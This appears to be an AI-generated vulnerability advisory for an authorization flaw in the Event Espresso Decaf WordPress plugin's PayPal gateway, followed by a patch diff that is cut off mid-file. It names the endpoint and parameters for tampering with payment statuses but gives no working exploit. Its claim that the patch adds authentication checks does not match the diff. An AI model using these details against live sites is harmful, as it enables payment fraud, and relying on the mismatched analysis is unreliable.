Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68007: Event Espresso 4 Decaf <= 5.0.37.decaf – Missing Authorization to Unauthenticated Settings Change (event-espresso-decaf)

Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 5.0.37.decaf
Patched Version 5.0.54.decaf
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68007:
This vulnerability is a Missing Authorization flaw in the Event Espresso 4 Decaf plugin for WordPress, affecting versions up to and including 5.0.37.decaf. The vulnerability resides in the PayPal Commerce payment gateway’s direct payment processing function, allowing unauthenticated attackers to trigger unauthorized payment status changes and potentially modify transaction data. The CVSS score of 6.5 reflects a moderate severity impact.

Atomic Edge research identifies the root cause as a missing capability check in the `do_direct_payment` method of the `EEG_PayPalCheckout` gateway class. The vulnerable function, located in `/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCheckout/EEG_PayPalCheckout.gateway.php`, processes payment requests without verifying user authentication or authorization. The method accepts POST parameters directly from unauthenticated requests and proceeds to validate payments, update transaction statuses, and modify billing information. The function begins at line 58 and continues through the entire payment processing workflow without any WordPress capability checks or nonce verification.

Exploitation of this vulnerability requires an attacker to send a crafted POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `ee_payment_processor`. The attacker must include specific payment parameters such as `pp_order_id` and `spco_transaction_id` to trigger the vulnerable `do_direct_payment` method. The payload manipulates the payment processing flow to change transaction statuses, potentially marking failed payments as approved or modifying billing information stored in the transaction metadata.

The patch addresses the vulnerability by implementing comprehensive validation checks throughout the payment processing flow. Key changes include adding a new `validateTransaction` method that verifies transaction IDs match between the payment object and POST parameters, sanitizing input with `sanitize_text_field`, and restructuring the payment validation logic to fail safely when inconsistencies are detected. The patch modifies the `do_direct_payment` method to use the new validation methods and adds type checking for payment method objects. These changes ensure that only properly authenticated and authorized payment requests can modify transaction data.

Successful exploitation allows unauthenticated attackers to manipulate payment transaction statuses, potentially marking failed or declined payments as approved. This could lead to financial loss through unauthorized ticket sales validation, disruption of event registration systems, and unauthorized modification of attendee billing information stored in WordPress post meta. While the vulnerability does not directly enable remote code execution, it undermines the integrity of the payment processing system and could facilitate fraud within event registration workflows.

Differential between vulnerable and patched code

Code Diff
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCheckout/EEG_PayPalCheckout.gateway.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCheckout/EEG_PayPalCheckout.gateway.php
@@ -1,6 +1,7 @@
 <?php

 use EventEspressocoreservicesloadersLoaderFactory;
+use EventEspressocoreservicesrequestRequest;
 use EventEspressocoreservicesrequestRequestInterface;
 use EventEspressoPaymentMethodsPayPalCommercetoolsloggingPayPalLogger;

@@ -14,6 +15,16 @@
 class EEG_PayPalCheckout extends EE_Onsite_Gateway
 {
     /**
+     * @var $payment EE_Payment|null
+     */
+    protected ?EE_Payment $payment = null;
+
+    /**
+     * @var $payment EE_Transaction|null
+     */
+    protected ?EE_Transaction $transaction = null;
+
+    /**
      * Currencies supported by this gateway.
      *
      * @var array
@@ -58,59 +69,61 @@
     public function do_direct_payment($payment, $billing_info = null)
     {
         $request         = LoaderFactory::getLoader()->getShared(RequestInterface::class);
-        $post_parameters = $request->postParams();
+        $post_parameters = $request instanceof Request ? $request->postParams() : $_POST;
         // Check the payment.
-        $payment = $this->validatePayment($payment, $request);
-        if ($payment->details() === 'error' && $payment->status() === EEM_Payment::status_id_failed) {
-            return $payment;
+        $this->payment = $this->validatePayment($payment, $post_parameters);
+        if ($this->payment->details() === 'error' && $this->payment->status() === EEM_Payment::status_id_failed) {
+            return $this->payment;
         }
-        $transaction    = $payment->transaction();
-        $payment_method = $transaction->payment_method();
-        // Get the order details.
-        $order_id = $request->getRequestParam('pp_order_id');
-        if (! $order_id) {
+        $this->transaction = $this->validateTransaction($this->payment, $post_parameters);
+        if (! $this->transaction instanceof EE_Transaction) {
+            return $this->payment;
+        }
+        $payment_method = $this->transaction->payment_method();
+        if (! $payment_method instanceof EE_Payment_Method) {
+            return $this->payment;
+        }
+        if (empty($post_parameters['pp_order_id'])) {
             return EEG_PayPalCheckout::updatePaymentStatus(
-                $payment,
+                $this->payment,
                 EEM_Payment::status_id_declined,
                 $post_parameters,
                 esc_html__('Can't charge the Order. The Order ID is missing.', 'event_espresso')
             );
         }
+        // Get the order details.
+        $order_id = sanitize_text_field($post_parameters['pp_order_id']);
         // Capture the order.
-        $capture_status = EED_PayPalCommerce::captureOrder($transaction, $payment_method, $order_id);
+        $capture_status = EED_PayPalCommerce::captureOrder($this->transaction, $payment_method, $order_id);
         // Check the order status.
-        $order_status   = $this->isOrderCompleted($order_id, $transaction, $payment_method);
+        $order_details = EED_PayPalCommerce::getOrderDetails($order_id, $this->transaction, $payment_method);
+        $order_status  = $this->isOrderCompleted($order_details);
         if (! $order_status['completed']) {
             return EEG_PayPalCheckout::updatePaymentStatus(
-                $payment,
+                $this->payment,
                 EEM_Payment::status_id_declined,
-                $order_status,
+                $order_details,
                 $order_status['message'] ?? ''
             );
         }
         // Looks like all is good. Mark payment as a success.
-        $this->saveBillingDetails($payment, $transaction, $order_status['details'], $billing_info);
-        return EEG_PayPalCheckout::updatePaymentStatus($payment, EEM_Payment::status_id_approved, $capture_status);
+        $this->saveBillingDetails($order_details, $billing_info, $this->payment);
+        return EEG_PayPalCheckout::updatePaymentStatus(
+            $this->payment,
+            EEM_Payment::status_id_approved,
+            $capture_status
+        );
     }


     /**
      * Validate the Order.
      *
-     * @param string            $order_id
-     * @param EE_Transaction    $transaction
-     * @param EE_Payment_Method $payment_method
+     * @param array|null $order_details
      * @return array ['completed' => {boolean}, 'message' => {string}]
-     * @throws EE_Error
-     * @throws ReflectionException
      */
-    public static function isOrderCompleted(
-        string $order_id,
-        EE_Transaction $transaction,
-        EE_Payment_Method $payment_method
-    ): array
+    public static function isOrderCompleted(?array $order_details): array
     {
-        $order_details = EED_PayPalCommerce::getOrderDetails($order_id, $transaction, $payment_method);
         $conclusion = [
             'completed' => false,
             'details'   => $order_details,
@@ -127,19 +140,16 @@
                 'There was an error with this payment. The status of the Order could not be determined.',
                 'event_espresso'
             );
-        } elseif ($order_details['status'] !== 'COMPLETED') {
-            $conclusion['message'] = esc_html__(
-                'There was an error with this payment. Order was not approved.',
-                'event_espresso'
-            );
-        } elseif (empty($order_details['purchase_units'][0]['payments']['captures'][0]['status'])) {
+        } elseif (! empty($order_details['purchase_units'][0]['payments']['captures'][0]['status'])
+                  && $order_details['purchase_units'][0]['payments']['captures'][0]['status'] !== 'COMPLETED'
+        ) {
             $conclusion['message'] = esc_html__(
-                'There was an error with this payment. The status of the Payment could not be determined.',
+                'This payment was declined or failed validation. Please check the payment and billing information you provided.',
                 'event_espresso'
             );
-        } elseif ($order_details['purchase_units'][0]['payments']['captures'][0]['status'] !== 'COMPLETED') {
+        } elseif ($order_details['status'] !== 'COMPLETED') {
             $conclusion['message'] = esc_html__(
-                'This payment was declined or failed validation. Please check the billing information you provided.',
+                'There was an error with this payment. Order was not approved.',
                 'event_espresso'
             );
         } else {
@@ -163,14 +173,14 @@
      */
     public static function updatePaymentStatus(
         EE_Payment $payment,
-        string $status,
-        $response_data,
-        string $update_message = ''
+        string     $status,
+                   $response_data,
+        string     $update_message = ''
     ): EE_Payment {
         $paypal_pm = ! empty($payment->payment_method())
             ? EEM_Payment_Method::instance()->get_one_by_slug($payment->payment_method()->name())
             : null;
-        // Is this a successful payment ?
+        // Is this a successful payment?
         if ($status === EEM_Payment::status_id_approved) {
             $default_message = esc_html__('Successful payment.', 'event_espresso');
             $amount          = $response_data['purchase_units'][0]['payments']['captures'][0]['amount']['value'] ?? 0;
@@ -178,24 +188,25 @@
             if (! empty($amount)) {
                 $payment->set_amount((float) $amount);
             }
-            $payment->set_txn_id_chq_nmbr(
-                $response_data['purchase_units'][0]['payments']['captures'][0]['id'] ?? $response_data['id']
-            );
+            $txn_id_chq_nmbr = $response_data['purchase_units'][0]['payments']['captures'][0]['id']
+                               ?? (! empty($response_data['id']) ? $response_data['id'] : 0);
+            $payment->set_txn_id_chq_nmbr($txn_id_chq_nmbr);
         } else {
             $default_message = sprintf(
                 esc_html__(
-                    'Your payment could not be processed successfully due to a technical issue.%1$sPlease try again or contact%2$s for assistance.',
+                    'Your payment could not be processed successfully due to an error.%1$sPlease try again or contact %2$s for assistance.',
                     'event_espresso'
                 ),
                 '<br/>',
                 EE_Registry::instance()->CFG->organization->get_pretty('email')
             );
         }
-        $log_message = $update_message ?: $default_message;
-        PayPalLogger::errorLog($log_message, $response_data, $paypal_pm, false, $payment->transaction());
+        // Try getting a better error message from the response.
+        $response_message = EEG_PayPalCheckout::getResponseMessage($response_data, $update_message ?: $default_message);
+        PayPalLogger::errorLog($response_message, $response_data, $paypal_pm, false, $payment->transaction());
         $payment->set_status($status);
-        $payment->set_details($log_message);
-        $payment->set_gateway_response($log_message);
+        $payment->set_details($response_message);
+        $payment->set_gateway_response($response_message);
         $payment->save();
         return $payment;
     }
@@ -204,63 +215,147 @@
     /**
      * Validate the payment.
      *
-     * @param EE_Payment|null  $payment
-     * @param RequestInterface $request
+     * @param array|string $response_data
+     * @param string|null  $message
+     * @return string
+     */
+    public static function getResponseMessage($response_data, ?string $message): string
+    {
+        $new_message = $message;
+        if (is_string($response_data)) {
+            // Try to decode.
+            $decoded_response = json_decode($response_data, true);
+            if ($decoded_response && is_array($decoded_response)) {
+                $response_data = $decoded_response;
+            }
+        }
+        if (is_array($response_data)) {
+            // Do we have a capture status ?
+            if (! empty($response_data['purchase_units']['0']['payments']['captures'][0]['status'])) {
+                $new_message .= sprintf(
+                /* translators: 1: <br/><br/>, 2: payment capture status */
+                    esc_html__('%1$sPayment capture status: %2$s', 'event_espresso'),
+                    '<br/><br/>',
+                    $response_data['purchase_units']['0']['payments']['captures'][0]['status']
+                );
+            }
+            if (
+                ! empty($response_data['purchase_units']['0']['payments']['captures'][0]['processor_response'])
+                && is_array($response_data['purchase_units']['0']['payments']['captures'][0]['processor_response'])
+            ) {
+                $new_message        .= sprintf(
+                /* translators: 1: <br/><br/> */
+                    esc_html__('%1$sProcessor responded: ', 'event_espresso'),
+                    '<br/><br/>'
+                );
+                $processor_response =
+                    $response_data['purchase_units']['0']['payments']['captures'][0]['processor_response'];
+                $iteration          = 1;
+                $foreach_count      = count($processor_response);
+                foreach ($processor_response as $key => $value) {
+                    $new_message .= " $key: $value";
+                    $new_message .= $iteration < $foreach_count ? ', ' : '.';
+                    $iteration++;
+                }
+            }
+            if (
+                ! empty($response_data['details'][0]['description'])
+                && ! empty($response_data['details'][0]['issue'])
+            ) {
+                $iteration     = 1;
+                $new_message   .= sprintf(
+                /* translators: 1: <br/><br/> */
+                    esc_html__('%1$sError details: ', 'event_espresso'),
+                    '<br/><br/>'
+                );
+                $foreach_count = count($response_data['details'][0]);
+                foreach ($response_data['details'][0] as $key => $value) {
+                    $new_message .= "$key: $value";
+                    $new_message .= $iteration < $foreach_count ? ', ' : '';
+                    $iteration++;
+                }
+            }
+        }
+        return $new_message;
+    }
+
+
+    /**
+     * Validate the payment.
+     *
+     * @param EE_Payment|null $payment
+     * @param array           $post_parameters
      * @return EE_Payment
      * @throws EE_Error
      * @throws ReflectionException
      */
-    public function validatePayment(?EE_Payment $payment, RequestInterface $request): EE_Payment
+    public function validatePayment(?EE_Payment $payment, array $post_parameters): EE_Payment
     {
-        $failed_status = $this->_pay_model->failed_status();
         // Check the payment.
         if (! $payment instanceof EE_Payment) {
             $payment       = EE_Payment::new_instance();
             $error_message = esc_html__('Error. No associated payment was found.', 'event_espresso');
             return EEG_PayPalCheckout::updatePaymentStatus(
                 $payment,
-                $failed_status,
-                $request->postParams(),
+                $this->_pay_model->failed_status(),
+                $post_parameters,
                 $error_message
             );
         }
+        return $payment;
+    }
+
+
+    /**
+     * Validate the transaction.
+     *
+     * @param EE_Payment|null $payment
+     * @param array           $post_parameters
+     * @return EE_Transaction|null
+     * @throws EE_Error
+     * @throws ReflectionException
+     */
+    public function validateTransaction(?EE_Payment $payment, array $post_parameters): ?EE_Transaction
+    {
         // Check the transaction.
         $transaction = $payment->transaction();
         if (! $transaction instanceof EE_Transaction) {
-            $error_message = esc_html__(
-                'Could not process this payment because it has no associated transaction.',
-                'event_espresso'
-            );
-            return EEG_PayPalCheckout::updatePaymentStatus(
-                $payment,
-                $failed_status,
-                $request->postParams(),
-                $error_message
-            );
+            return null;
         }
-        return $payment;
+        if (! empty($post_parameters['spco_transaction_id'])) {
+            $spco_transaction_id = (int) sanitize_text_field($post_parameters['spco_transaction_id']);
+            if ($transaction->ID() !== $spco_transaction_id) {
+                $error_message = esc_html__(
+                    'Sorry, but this registration transaction was abandoned or got outdated and cannot be processed anymore. This can happen if you have started another registration checkout in a different browser tab or window. Please finish the last checkout or start over.',
+                    'event_espresso'
+                );
+                $this->payment = EEG_PayPalCheckout::updatePaymentStatus(
+                    $payment,
+                    $this->_pay_model->failed_status(),
+                    $post_parameters,
+                    $error_message
+                );
+                return null;
+            }
+        }
+        return $transaction;
     }


     /**
-     * Save some transaction details, like billing information.
+     * Save transaction details, like billing information.
      *
-     * @param EE_Payment     $payment
-     * @param EE_Transaction $transaction
-     * @param array          $order
-     * @param array          $billing
+     * @param array      $order
+     * @param array      $billing
+     * @param EE_Payment $payment
      * @return void
      * @throws EE_Error
      * @throws ReflectionException
      */
-    public static function saveBillingDetails(
-        EE_Payment $payment,
-        EE_Transaction $transaction,
-        array $order,
-        array $billing
-    ): void {
-        $primary_reg = $transaction->primary_registration();
-        $att    = $primary_reg instanceof EE_Registration ? $primary_reg->attendee() : null;
+    public function saveBillingDetails(array $order, array $billing, EE_Payment $payment): void
+    {
+        $primary_reg = $this->transaction->primary_registration();
+        $att         = $primary_reg instanceof EE_Registration ? $primary_reg->attendee() : null;
         if (! $att instanceof EE_Attendee) {
             // I guess we are done here then. Just save what we have.
             $payment->set_details($order);
@@ -284,7 +379,7 @@
             // A card (ACDC) payment ?
             if (! empty($order['payment_source']['card'])) {
                 $payer = $order['payment_source']['card'];
-            // Or maybe a PayPal Express payment ?
+                // Or maybe a PayPal Express payment ?
             } elseif (! empty($order['payment_source']['paypal'])) {
                 $payer = $order['payment_source']['paypal'];
             }
@@ -292,7 +387,7 @@
                 if (! empty($payer['name'])) {
                     // Yup, payment_source card vs PayPal have different info about the payer. So need to differentiate.
                     if (is_string($payer['name'])) {
-                        $full_name                  = explode(' ', $payer['name']);
+                        $full_name             = explode(' ', $payer['name']);
                         $billing['first_name'] = $full_name[0] ?? $billing['first_name'];
                         $billing['last_name']  = $full_name[1] ?? $billing['last_name'];
                     }
@@ -313,8 +408,9 @@
             }
         }
         // Update attendee billing info in the transaction details.
-        $payment_method = $transaction->payment_method();
-        $post_meta_name = $payment_method->type_obj() instanceof EE_PMT_Base
+        $payment_method = $this->transaction->payment_method();
+        $post_meta_name = $payment_method instanceof EE_Payment_Method
+                          && $payment_method->type_obj() instanceof EE_PMT_Base
             ? 'billing_info_' . $payment_method->type_obj()->system_name()
             : '';
         update_post_meta($att->ID(), $post_meta_name, $billing);
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCheckout/forms/BillingForm.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCheckout/forms/BillingForm.php
@@ -39,9 +39,9 @@
 {
     protected EE_Payment_Method $paypal_pmt;

-    protected ?EE_Transaction $transaction = null;
+    protected ?EE_Transaction   $transaction = null;

-    protected string $checkout_type;
+    protected string            $checkout_type;

     /**
      * Filepath to template files
@@ -54,14 +54,14 @@
     /**
      * Class constructor.
      *
-     * @param EE_Payment_Method    $payment_method
-     * @param array                $options
+     * @param EE_Payment_Method $payment_method
+     * @param array             $options
      * @throws EE_Error
      * @throws ReflectionException
      */
     public function __construct(EE_Payment_Method $payment_method, array $options)
     {
-        $this->paypal_pmt    = $payment_method;
+        $this->paypal_pmt = $payment_method;
         // Can't be too careful.
         $this->transaction   = $options['transaction'] ?? null;
         $this->template_path = $options['template_path'] ?? '';
@@ -201,7 +201,7 @@
      */
     public static function excludeBillingFormFields(
         EE_Billing_Info_Form $billing_form,
-        EE_Payment_Method $payment_method
+        EE_Payment_Method    $payment_method
     ): EE_Billing_Info_Form {
         $request        = LoaderFactory::getShared(Request::class);
         $request_params = $request->requestParams();
@@ -407,7 +407,7 @@
      */
     public function addPayPalCheckout(): EE_Form_Section_Proper
     {
-        $template_args['pm_slug']     = $this->paypal_pmt->slug();
+        $template_args['pm_slug'] = $this->paypal_pmt->slug();
         return new EE_Form_Section_Proper(
             [
                 'layout_strategy' => new EE_Template_Layout(
@@ -459,9 +459,7 @@
         // Setup default values
         $client_id_key = Domain::META_KEY_CLIENT_ID;
         $merchant_id   = false;
-        $funding_options = ['venmo', 'paylater'];
-
-        // Override the above if thrid party integration
+        // Override the above if third party integration
         if (EED_PayPalCommerce::isThirdParty($this->_pm_instance)) {
             $client_id_key = Domain::META_KEY_PARTNER_CLIENT_ID;
             $merchant_id   = PayPalExtraMetaManager::getPmOption(
@@ -469,35 +467,29 @@
                 Domain::META_KEY_SELLER_MERCHANT_ID
             );
         }
-
         // Setup query args
-        $url_params            = [
-            'client-id'        => PayPalExtraMetaManager::getPmOption($this->_pm_instance, $client_id_key),
-            'currency'         => CurrencyManager::currencyCode(),
-            'components'       => implode(',', ['buttons','hosted-fields']),
-            'intent'           => 'capture',
-            'merchant-id'      => $merchant_id,
+        $url_params = [
+            'client-id'   => PayPalExtraMetaManager::getPmOption($this->_pm_instance, $client_id_key),
+            'currency'    => CurrencyManager::currencyCode(),
+            'components'  => implode(',', ['buttons', 'hosted-fields']),
+            'intent'      => 'capture',
+            'merchant-id' => $merchant_id,
         ];
-
         // Which funding methods are active?
-        $enabled_funding = $this->_pm_instance->get_extra_meta(Domain::META_KEY_FUNDING_OPTIONS, true, $funding_options);
-
-        // Any funding method not enabled should be disabled.
-        $disabled_funding = array_diff(
-            $funding_options,
-            $enabled_funding
+        $enabled_funding = $this->_pm_instance->get_extra_meta(
+            Domain::META_KEY_FUNDING_OPTIONS,
+            true,
+            Domain::FUNDING_OPTIONS
         );
-
-        // Any funding options enabled?
-        if (count($enabled_funding) > 0) {
-            $url_params['enable-funding'] = implode(',', $enabled_funding);
+        if (! $enabled_funding || ! is_array($enabled_funding)) {
+            $enabled_funding = [];
         }
-
+        // Any funding method not enabled should be disabled.
+        $disabled_funding = array_diff(Domain::FUNDING_OPTIONS, $enabled_funding);
         // Any funding options disabled?
         if (count($disabled_funding) > 0) {
             $url_params['disable-funding'] = implode(',', $disabled_funding);
         }
-
         // Enqueue the PayPal JS
         wp_enqueue_script(
             'eea_paypal_commerce_js_lib',
@@ -505,7 +497,6 @@
             [],
             null
         );
-
         wp_enqueue_script(
             'eea_paypal_commerce_js',
             EEP_PAYPAL_COMMERCE_URL . 'assets/js/paypal-commerce-payments.js',
@@ -551,7 +542,7 @@
         // Convert money for a display format.
         $decimal_places = CurrencyManager::getDecimalPlaces();
         $org_country    = isset(EE_Registry::instance()->CFG->organization)
-        && EE_Registry::instance()->CFG->organization instanceof EE_Organization_Config
+                          && EE_Registry::instance()->CFG->organization instanceof EE_Organization_Config
             ? EE_Registry::instance()->CFG->organization->CNT_ISO
             : 'US';
         $transaction_id = $this->transaction instanceof EE_Transaction ? $this->transaction->ID() : 0;
@@ -595,10 +586,20 @@
             'general_pp_error'       => esc_html__('PayPal form threw an error.', 'event_espresso'),
             'hf_render_error'        => esc_html__('Hosted fields could not be rendered!', 'event_espresso'),
             'pm_capture_error'       => esc_html__('Payment could not be captured!', 'event_espresso'),
+            'contact_support_msg'    => sprintf(
+                /* translators: %1$s: organization email, %2$s: the transaction ID */
+                esc_html__(
+                    'Please contact support (%1$s) for more details on this transaction #%2$s.',
+                    'event_espresso'
+                ),
+                EE_Registry::instance()->CFG->organization->get_pretty('email'),
+                $transaction_id
+            ),
             'not_acdc_eligible'      => esc_html__(
                 'This merchant is not eligible for Advanced Card Fields checkout type.',
                 'event_espresso'
             ),
+            'processor_response'     => esc_html__('Processor response: ', 'event_espresso'),
         ];
     }
 }
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCheckout/forms/SettingsForm.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCheckout/forms/SettingsForm.php
@@ -11,7 +11,6 @@
 use EE_Select_Input;
 use EE_Checkbox_Multi_Input;
 use EED_PayPalOnboard;
-use EEH_Array;
 use EEH_HTML;
 use EventEspressoPaymentMethodsPayPalCommercedomainDomain;
 use EventEspressoPaymentMethodsPayPalCommercetoolsextra_metaPayPalExtraMetaManager;
@@ -70,13 +69,6 @@
         parent::__construct($form_parameters);
         // Add a form for PayPal Onboard.
         $this->addOnboardingForm($payment_method, $pm_instance);
-        // Add a form for PayPal Onboard.
-        add_filter(
-            'FHEE__Payments_Admin_Page___generate_payment_method_settings_form__form_subsections',
-            [__CLASS__, 'addFeesNotice'],
-            10,
-            2
-        );
         // Add the clear data button.
         $this->clearMetadataButton($pm_instance);
         // Disable inputs if needed.
@@ -109,58 +101,6 @@


     /**
-     * Add fees notice.
-     *
-     * @param array             $subsections
-     * @param EE_Payment_Method $payment_method
-     * @return array
-     */
-    public static function addFeesNotice(array $subsections, EE_Payment_Method $payment_method): array
-    {
-        if (defined('EE_PPC_USE_PAYMENT_FEES') && ! EE_PPC_USE_PAYMENT_FEES) {
-            // We want to be able to disable fees.
-            return $subsections;
-        }
-        return EEH_Array::insert_into_array(
-            $subsections,
-            [
-                'partner_fees_notice' => new EE_Form_Section_HTML(
-                    EEH_HTML::tr(
-                        EEH_HTML::th()
-                        . EEH_HTML::thx()
-                        . EEH_HTML::td(
-                            EEH_HTML::div(
-                                EEH_HTML::strong(
-                                    esc_html__(
-                                        'PayPal Partner Commission Fees are based upon the status of your Support License:',
-                                        'event_espresso'
-                                    )
-                                )
-                                . EEH_HTML::ul()
-                                . EEH_HTML::li(
-                                    esc_html__('- Active licenses commission fees: 0%', 'event_espresso')
-                                )
-                                . EEH_HTML::li(
-                                    esc_html__('- Expired license commission fees: 3%', 'event_espresso')
-                                )
-                                . EEH_HTML::ulx()
-                                . esc_html__(
-                                    'Keep your support license active for: lower fees, up-to-date software and have access to our support team. By connecting and processing payments you agree to these terms.',
-                                    'event_espresso'
-                                ),
-                                '',
-                                'ee-status-outline ee-status-bg--info'
-                            )
-                        )
-                    )
-                ),
-            ],
-            'fine_print'
-        );
-    }
-
-
-    /**
      * Add a checkout type select.
      *
      * @param array $form_parameters
@@ -172,7 +112,7 @@
     {
         $pm_slug = $this->pm_instance->slug();
         // Section to be displayed if onboard.
-        $form_parameters['extra_meta_inputs'][Domain::META_KEY_CHECKOUT_TYPE] = new EE_Select_Input(
+        $form_parameters['extra_meta_inputs'][ Domain::META_KEY_CHECKOUT_TYPE ] = new EE_Select_Input(
             [
                 'express_checkout' => esc_html__('Express Checkout', 'event_espresso'),
                 'ppcp'             => esc_html__('Advanced Credit and Debit Card payments', 'event_espresso'),
@@ -205,17 +145,27 @@
     {
         $pm_slug = $this->pm_instance->slug();
         // Section to be displayed if onboard.
-        $form_parameters['extra_meta_inputs'][Domain::META_KEY_FUNDING_OPTIONS] = new EE_Checkbox_Multi_Input(
+        $form_parameters['extra_meta_inputs'][ Domain::META_KEY_FUNDING_OPTIONS ] = new EE_Checkbox_Multi_Input(
             [
-                'venmo'    => esc_html__('Venmo', 'event_espresso'),
-                'paylater' => esc_html__('PayLater', 'event_espresso'),
+                'venmo'       => esc_html__('Venmo', 'event_espresso'),
+                'paylater'    => esc_html__('PayLater', 'event_espresso'),
+                'bancontact'  => esc_html__('Bancontact', 'event_espresso'),
+                'blik'        => esc_html__('BLIK', 'event_espresso'),
+                'eps'         => esc_html__('EPS', 'event_espresso'),
+                'giropay'     => esc_html__('giropay', 'event_espresso'),
+                'ideal'       => esc_html__('iDEAL', 'event_espresso'),
+                'mercadopago' => esc_html__('Mercado Pago', 'event_espresso'),
+                'mybank'      => esc_html__('MyBank', 'event_espresso'),
+                'p24'         => esc_html__('Przelewy24', 'event_espresso'),
+                'sepa'        => esc_html__('SEPA-Lastschrift', 'event_espresso'),
+                'sofort'      => esc_html__('Sofort', 'event_espresso'),
             ],
             [
                 'html_name'       => "eep_checkout_funding_options_$pm_slug",
                 'html_id'         => "eep_checkout_funding_options_$pm_slug",
                 'html_class'      => "eep-checkout-funding-options-$pm_slug",
                 'html_label_text' => esc_html__('Enable PayPal funding options:', 'event_espresso'),
-                'default'         => ['venmo', 'paylater'],
+                'default'         => Domain::FUNDING_OPTIONS,
             ]
         );
         return $form_parameters;
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCommerce.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/PayPalCommerce.php
@@ -83,6 +83,7 @@
                 null,
                 null,
                 'EventEspressocoredomainservicescapabilitiesFeatureFlags' => EE_Dependency_Map::load_from_cache,
+                'EventEspressocoreservicespayment_methodsgatewaysGatewayDataFormatter' => EE_Dependency_Map::load_from_cache,
             ]
         );
         EE_Dependency_Map::instance()->registerDependencies(
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/api/orders/CaptureOrder.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/api/orders/CaptureOrder.php
@@ -110,9 +110,10 @@
                 error_log("PayPalLogger Error: $message: " . json_encode($response));
             }
             return [
-                'error'   => $response['error'] ?? 'missing_order',
-                'message' => $response['message'] ?? $message,
-                'name'    => $response['name'] ?? 'UNKNOWN_ERROR',
+                'error'    => $response['error'] ?? 'missing_order',
+                'message'  => $response['message'] ?? $message,
+                'name'     => $response['name'] ?? 'UNKNOWN_ERROR',
+                'response' => $response,
             ];
         }
         return $response;
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/api/orders/CreateOrder.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/api/orders/CreateOrder.php
@@ -3,12 +3,18 @@
 namespace EventEspressoPaymentMethodsPayPalCommerceapiorders;

 use EE_Error;
+use EE_Country;
 use EE_Line_Item;
+use EE_Payment;
+use EE_State;
 use EE_Transaction;
+use EEM_Country;
+use EEM_Payment;
 use EventEspressocoredomainservicescapabilitiesFeatureFlag;
 use EventEspressocoredomainservicescapabilitiesFeatureFlags;
 use EventEspressocoredomainservicesvalidationemailstrategiesBasic;
 use EventEspressocoreservicesloadersLoaderFactory;
+use EventEspressocoreservicespayment_methodsgatewaysGatewayDataFormatter;
 use EventEspressocoreservicesrequestsanitizersRequestSanitizer;
 use EventEspressoPaymentMethodsPayPalCommerceapiPayPalApi;
 use EventEspressoPaymentMethodsPayPalCommercedomainDomain;
@@ -70,26 +76,38 @@
      *
      * @var EE_Transaction
      */
-    protected EE_Transaction $transaction;
+    protected EE_Transaction     $transaction;

-    private FeatureFlags $feature;
+    private FeatureFlags         $feature;
+
+    private GatewayDataFormatter $gateway_data_formatter;
+
+    private EE_Payment           $payment;


     /**
      * CreateOrder constructor.
      *
-     * @param PayPalApi      $api
-     * @param EE_Transaction $transaction
-     * @param array          $billing_info
-     * @param FeatureFlags   $feature
-     */
-    public function __construct(PayPalApi $api, EE_Transaction $transaction, array $billing_info, FeatureFlags $feature)
-    {
+     * @param PayPalApi            $api
+     * @param EE_Transaction       $transaction
+     * @param array                $billing_info
+     * @param FeatureFlags         $feature
+     * @param GatewayDataFormatter $gateway_data_formatter
+     */
+    public function __construct(
+        PayPalApi            $api,
+        EE_Transaction       $transaction,
+        array                $billing_info,
+        FeatureFlags         $feature,
+        GatewayDataFormatter $gateway_data_formatter
+    ) {
         parent::__construct($api);
         $this->transaction   = $transaction;
         $this->feature       = $feature;
         $this->currency_code = CurrencyManager::currencyCode();
         $this->sanitizeRequestParameters($billing_info);
+        $this->gateway_data_formatter = $gateway_data_formatter;
+        $this->setPaymentPlaceholder();
     }


@@ -120,6 +138,15 @@
         $order_parameters = $this->getParameters();
         // Create Order request.
         $create_response = $this->api->sendRequest($order_parameters, $this->request_url);
+        // Check for MISMATCH errors.
+        if ($this->isMismatchError($create_response)) {
+            // Mismatch, fix items.
+            $order_parameters['purchase_units'][0]['items'] = $this->getSimplifiedItems();
+            // Add simplified breakdown.
+            $order_parameters['purchase_units'][0]['amount']['breakdown'] = $this->getSimplifiedAmountBreakdown();
+            // Retry Order request.
+            $create_response = $this->api->sendRequest($order_parameters, $this->request_url);
+        }
         return $this->validateOrder($create_response, $order_parameters);
     }

@@ -136,14 +163,10 @@
     {
         $registrant  = $this->transaction->primary_registration();
         $attendee    = $registrant->attendee();
-        $event       = $registrant->event();
-        $description = $event->name() ?: sprintf(
-            esc_html__('Tickets for an event at %1$s', 'event_espresso'),
-            get_bloginfo('name')
-        );
+        $description = $this->gateway_data_formatter->formatOrderDescription($this->payment);
         $parameters  = [
-            'intent'              => 'CAPTURE',
-            'purchase_units'      => [
+            'intent'         => 'CAPTURE',
+            'purchase_units' => [
                 [
                     'custom_id'   => $this->transaction->ID(),
                     'description' => substr(wp_strip_all_tags($description), 0, 125),
@@ -155,19 +178,49 @@
                     ],
                 ],
             ],
-            'application_context' => [
-                'shipping_preference' => 'NO_SHIPPING',
-                'user_action'         => 'PAY_NOW',
-            ],
-            'payer'               => [
-                'email_address' => $attendee->email(),
-                'name'          => [
-                    'given_name' => $attendee->fname(),
-                    'surname'    => $attendee->lname(),
-
+            'payment_source' => [
+                'paypal' => [
+                    'experience_context' => [
+                        'user_action' => 'PAY_NOW',
+                    ],
+                    'email_address'      => $attendee->email(),
+                    'name'               => [
+                        'given_name' => $attendee->fname(),
+                        'surname'    => $attendee->lname(),
+                    ],
